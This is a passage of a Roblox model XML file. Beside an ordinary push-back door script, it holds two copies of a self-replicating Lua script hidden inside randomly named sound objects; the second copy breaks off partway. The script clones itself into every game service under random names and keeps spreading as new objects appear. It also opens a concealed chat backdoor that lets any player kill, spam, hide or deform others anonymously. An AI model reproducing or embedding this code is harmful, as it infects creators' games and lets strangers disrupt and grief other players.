					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0.100000001</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>79</X>
						<Y>123</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX177">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">PushPack</string>
						<string name="Source">door = script.Parent

function onTouch(hit)
	if hit.Parent == nil then return end
	local h = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if h ~= nil then
		hit.Parent.Torso.Velocity=door.CFrame.lookVector * 100 -- Push the Player back
	end
end
door.Touched:connect(onTouch)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX178">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">2xdje</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX179">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ugwdq</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX180">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">wcn84mi</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX181">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">b9gch</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
